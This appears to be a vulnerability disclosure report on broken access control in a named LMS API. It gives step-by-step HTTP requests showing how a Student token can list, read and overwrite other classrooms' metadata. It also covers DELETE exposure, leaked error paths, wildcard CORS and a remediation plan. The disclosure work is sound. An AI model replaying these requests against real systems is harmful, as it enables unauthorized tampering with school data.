1. Summary
A critical broken access control vulnerability was identified in the PixelPath LMS backend API.
The vulnerability exists in the backend API authorization controls, specifically in the classroom-related endpoints used by the LMS frontend.
An authenticated user with the Student role can:
- Enumerate classrooms outside their own enrollment.
- Directly access another classroom object by classroom ID.
- Send an unauthorized
PUTrequest to another classroom. - Modify metadata of a classroom they are not enrolled in.
- Verify the unauthorized modification through a follow-up
GETrequest.
During testing authorized by the lecturer, a Student account belonging to 4CS1_PNJ_2026 successfully modified the description of 4CS2_2026, a different classroom. The modified value appeared in the API response and was restored immediately after evidence was captured.
2. Severity
Severity: Critical
A low-privileged Student user can perform unauthorized write operations against classroom objects belonging to other classes.
This issue includes:
- Broken Access Control
- Insecure Direct Object Reference, or IDOR
- Broken Function-Level Authorization
- Horizontal Privilege Escalation
- Unauthorized Cross-Classroom Modification
3. Affected Hosts
The tested LMS is available at https://pixelpath.ccit-ftui.com. During normal use, the frontend application communicates with the backend API at https://pixelpath-api.ccit-ftui.com. The vulnerability exists in the backend API authorization controls, specifically on the /api/classrooms endpoints used by the LMS frontend
Frontend Application
https://pixelpath.ccit-ftui.comAffected Backend API
https://pixelpath-api.ccit-ftui.com4. Affected Endpoints
Confirmed Affected Endpoints
GET /api/classroomsGET /api/classrooms/{classroom_id}PUT /api/classrooms/{classroom_id}Observed but Not Destructively Tested
DELETE /api/classrooms/{classroom_id}DELETE was not tested against a real classroom object to avoid destructive impact.
5. Tester Account Context
The test was performed using an authenticated Student account.
Relevant role information:
{ "role_name": "Student", "role_code": "student", "role_id_decrypted": 2}The tester’s own classroom:
Classroom Name: 4CS1_PNJ_2026Classroom ID: gNUnb........Class Group ID: 477Program: Information Technology in Cyber SecurityThe target classroom used for authorized cross-classroom testing:
Classroom Name: 4CS2_2026Classroom ID: YDJrZ.......Class Group ID: 478Program: Information Technology in Cyber Security6. Proof of Concept
6.1 Student Role Confirmation
The authenticated profile endpoint confirms that the account has the Student role.
Request
GET /api/user/me HTTP/2Host: pixelpath-api.ccit-ftui.comAuthorization: Bearer [REDACTED_STUDENT_TOKEN]Accept: application/jsonRelevant Response
{ "status": 200, "message": "User Profile Retrieved Successfully", "data": { "role_name": "Student", "role_code": "student", "role_id_decrypted": 2 }}
This confirms that the test was performed using a low-privileged Student account, not an administrator, lecturer, mentor, or faculty account.
6.2 Normal Scoped Classroom Request
When the frontend includes the my_classroom_user_id filter, the response only returns the Student’s own classroom.
Request
GET /api/classrooms?per_page=50&page=1&my_classroom_user_id=[STUDENT_USER_ID]&workstate_id=9 HTTP/2Host: pixelpath-api.ccit-ftui.comAuthorization: Bearer [REDACTED_STUDENT_TOKEN]Accept: application/jsonExpected Frontend Behavior
The response only includes the tester’s own classroom:
4CS1_PNJ_2026
This shows the intended frontend behavior: the Student normally sees only their own classroom.
6.3 Removing Client-Controlled Filter Exposes Other Classrooms
The classroom listing endpoint uses a client-controlled query parameter:
my_classroom_user_idWhen this parameter is removed, the API returns classrooms outside the Student’s own enrollment.
Request
GET /api/classrooms?per_page=50&page=1&workstate_id=9 HTTP/2Host: pixelpath-api.ccit-ftui.comAuthorization: Bearer [REDACTED_STUDENT_TOKEN]Accept: application/jsonResponse Example
{ "id": "YDJ...........", "classroom_course_id": "P-........", "name": "4CS2_2026", "room_code": "4CS2_2026", "class_group_id": 478, "class_group_name": "4CS2_2026", "school_year_id": 5, "school_year_name": "2025/2026", "program_name": "Information Technology in Cyber Security", "workstate_id": 9, "workstate_name": "Open", "total_classroom_participants": 25, "thumbnail": "[REDACTED_PRESIGNED_URL]", "header_image": "[REDACTED_PRESIGNED_URL]"}
Full response leak the whole id courses, i swear to god…
Expected Behavior
HTTP/2 403 ForbiddenAlternatively, the API should only return classrooms belonging to the authenticated Student.
Actual Behavior
HTTP/2 200 OKThe API returns classrooms outside the authenticated Student’s enrollment.
Security Issue
The backend appears to rely on an optional client-side filter instead of enforcing authorization based on the authenticated user server-side.
6.4 Direct Object Access to Another Classroom
After obtaining another classroom ID from the unfiltered classroom list, the Student user could directly access that classroom object.
Request
GET /api/classrooms/[CLASS_ID] HTTP/2Host: pixelpath-api.ccit-ftui.comAuthorization: Bearer [REDACTED_STUDENT_TOKEN]Accept: application/jsonResponse
HTTP/2 200 OKContent-Type: application/jsonAccess-Control-Allow-Origin: *
Expected Behavior
HTTP/2 403 ForbiddenActual Behavior
HTTP/2 200 OKSecurity Issue
A Student from 4CS1_PNJ_2026 should not be able to directly access 4CS2_2026 unless they are enrolled in that classroom or explicitly authorized.
6.5 Unauthenticated PUT Is Blocked
An unauthenticated PUT request is blocked correctly.
Request Without Authorization
PUT /api/classrooms/[CLASS_ID] HTTP/2Host: pixelpath-api.ccit-ftui.comContent-Type: application/jsonAccept: application/json
{}Response
HTTP/2 401 Unauthorized{ "message": "Unauthenticated."}
This confirms that authentication is required. The issue is not missing authentication, but missing authorization for authenticated Student users.
6.6 Student PUT Reaches Update Validation
The same endpoint with a Student token reaches update validation instead of being blocked with 403 Forbidden.
Request With Student Token
PUT /api/classrooms/[CLASS_ID] HTTP/2Host: pixelpath-api.ccit-ftui.comAuthorization: Bearer [REDACTED_STUDENT_TOKEN]Content-Type: application/jsonAccept: application/json
{}Response
HTTP/2 422 Unprocessable Entity{ "message": "Nama kelas wajib diisi. (and 1 more error)", "errors": { "name": ["Nama kelas wajib diisi."], "school_year_id": ["The school year id field is required."] }}
Security Issue
An unauthorized Student user should receive:
HTTP/2 403 Forbiddenbefore reaching validation logic. The 422 response shows that the Student token is allowed to reach the classroom update handler.
6.7 Confirmed Unauthorized Cross-Classroom Modification
With lecturer approval, a controlled non-destructive modification was performed against 4CS2_2026, a classroom outside the tester’s own enrollment.
The test added a temporary marker to the classroom description:
[SECURITY TEST - AUTHORIZED BY LECTURER]Request
PUT /api/classrooms/[CLASS_ID] HTTP/2Host: pixelpath-api.ccit-ftui.comAuthorization: Bearer [REDACTED_STUDENT_TOKEN]Content-Type: application/jsonAccept: application/json
{ "name": "4CS2_2026", "school_year_id": 5, "description": "Diampu oleh [SECURITY TEST - AUTHORIZED BY LECTURER]", "room_code": "4CS2_2026"}Response
HTTP/2 200 OK{ "status": "success", "message": "Classroom Updated Successfully", "code": 200}
And I also did the test using another method and proved it on the frontend (in my own class)

Security Issue
The API allowed a Student user to modify another classroom’s metadata.
Expected behavior:
HTTP/2 403 ForbiddenActual behavior:
HTTP/2 200 OK6.8 Verification of Unauthorized Modification
A follow-up GET request confirmed that the classroom description was modified.
Request
GET /api/classrooms/[CLASS_ID] HTTP/2Host: pixelpath-api.ccit-ftui.comAuthorization: Bearer [REDACTED_STUDENT_TOKEN]Accept: application/jsonResponse



isn’t inspect btw…
This confirms real unauthorized write impact. The Student account did not just reach validation. It successfully modified another classroom object.
6.9 Restoration
The original classroom description was restored immediately after evidence was captured.
Restore Request
PUT /api/classrooms/[CLASS_ID] HTTP/2Host: pixelpath-api.ccit-ftui.comAuthorization: Bearer [REDACTED_STUDENT_TOKEN]Content-Type: application/jsonAccept: application/json
{ "name": "4CS2_2026", "school_year_id": 5, "description": "Diampu oleh\r\n1. ......, S.T.\r\n2. ........., S.Kom., M.T.", "room_code": "4CS2_2026"}
Final Verification Request
GET /api/classrooms/[CLASS_ID] HTTP/2Host: pixelpath-api.ccit-ftui.comAuthorization: Bearer [REDACTED_STUDENT_TOKEN]Accept: application/jsonFinal Verification Response
{ "data": { "id": "YDJrZ.....................", "name": "4CS2_2026", "description": "Diampu oleh\r\n1. ..............., S.T.\r\n2. .............., S.Kom., M.T.", "room_code": "4CS2_2026", "class_group_id": ..., "class_group_name": "4CS2_2026", "school_year_id": 5 }}
The test was performed responsibly. The temporary marker was removed and the original classroom description was restored.
7. Additional Findings and Observations
7.1 Partial PUT Can Null Omitted Fields
During earlier testing on the tester’s own classroom, a partial PUT request caused omitted fields such as description and room_code to become null.
Request
PUT /api/classrooms/[CLASS_ID] HTTP/2Host: pixelpath-api.ccit-ftui.comAuthorization: Bearer [REDACTED_STUDENT_TOKEN]Content-Type: application/jsonAccept: application/json
{ "name": "4CS1_PNJ_2026", "school_year_id": 5}Response
{ "status": "success", "message": "Classroom Updated Successfully", "code": 200}
Follow-Up Response
{ "data": { "name": "4CS1_PNJ_2026", "description": null, "room_code": null }}This increases the impact of unauthorized PUT access because a malicious or careless request can erase classroom metadata.
7.2 Method Discovery
A PATCH request returned:
HTTP/2 405 Method Not AllowedAllow: GET, HEAD, PUT, DELETEThis revealed that the classroom route supports:
GETHEADPUTDELETEDELETE was not tested on a real classroom object to avoid destructive impact.
7.3 Error Handling Issue
Invalid routes and unsupported methods returned detailed Laravel/Symfony error information, including internal server paths such as:
/www/wwwroot/pixelpath-api.ccit-ftui.com/vendor/laravel/framework/...This indicates that detailed production error traces may be exposed.
7.4 CORS Configuration
Several responses included:
Access-Control-Allow-Origin: *This should be reviewed, especially if any endpoints rely on cookie-based authentication or allow credentialed requests.
8. Impact
Confirmed impact:
- Student can enumerate classrooms outside their enrollment.
- Student can directly access another classroom object.
- Student can reach classroom update functionality.
- Student can modify another classroom’s metadata using PUT.
- Student can erase existing fields through partial PUT requests.
Potential impact:
- Unauthorized modification of classroom names.
- Unauthorized modification of classroom descriptions.
- Unauthorized modification of room codes.
- Disruption of academic or classroom information shown to students or lecturers.
- Possible destructive deletion if DELETE is similarly unprotected.
- Possible unauthorized modification of other classroom-related resources if similar authorization flaws exist elsewhere.
9. Root Cause
The API does not consistently enforce authorization server-side.
Main root causes:
- The classroom listing endpoint relies on optional client-controlled filters.
- Direct object access does not verify whether the authenticated Student belongs to the requested classroom.
PUT /api/classrooms/{id}allows Student users to modify classroom objects.- Authorization checks are missing or insufficient on classroom update functionality.
- Validation appears to occur before proper authorization.
- PUT behavior nulls omitted fields, increasing the risk of unintended data loss.
10. Recommended Remediation
- Derive the authenticated user ID and role from the token server-side.
- Do not trust
my_classroom_user_idfrom the client. - Enforce enrollment checks on
GET /api/classrooms. - Enforce enrollment checks on
GET /api/classrooms/{id}. - Restrict
PUT /api/classrooms/{id}to authorized admin, lecturer, mentor, or faculty roles only. - Restrict
DELETE /api/classrooms/{id}to authorized admin roles only. - Apply authorization checks before validation and before model lookup, update, or delete operations.
- Return
403 Forbiddenwhen an authenticated user lacks permission. - Avoid using
PUTin a way that nulls omitted fields unless full replacement is explicitly intended. - Consider using
PATCHfor partial updates with strict field allowlisting. - Disable detailed error traces in production.
- Review CORS configuration and avoid wildcard origins for sensitive APIs.
- Log and alert on unauthorized access attempts to classroom modification endpoints.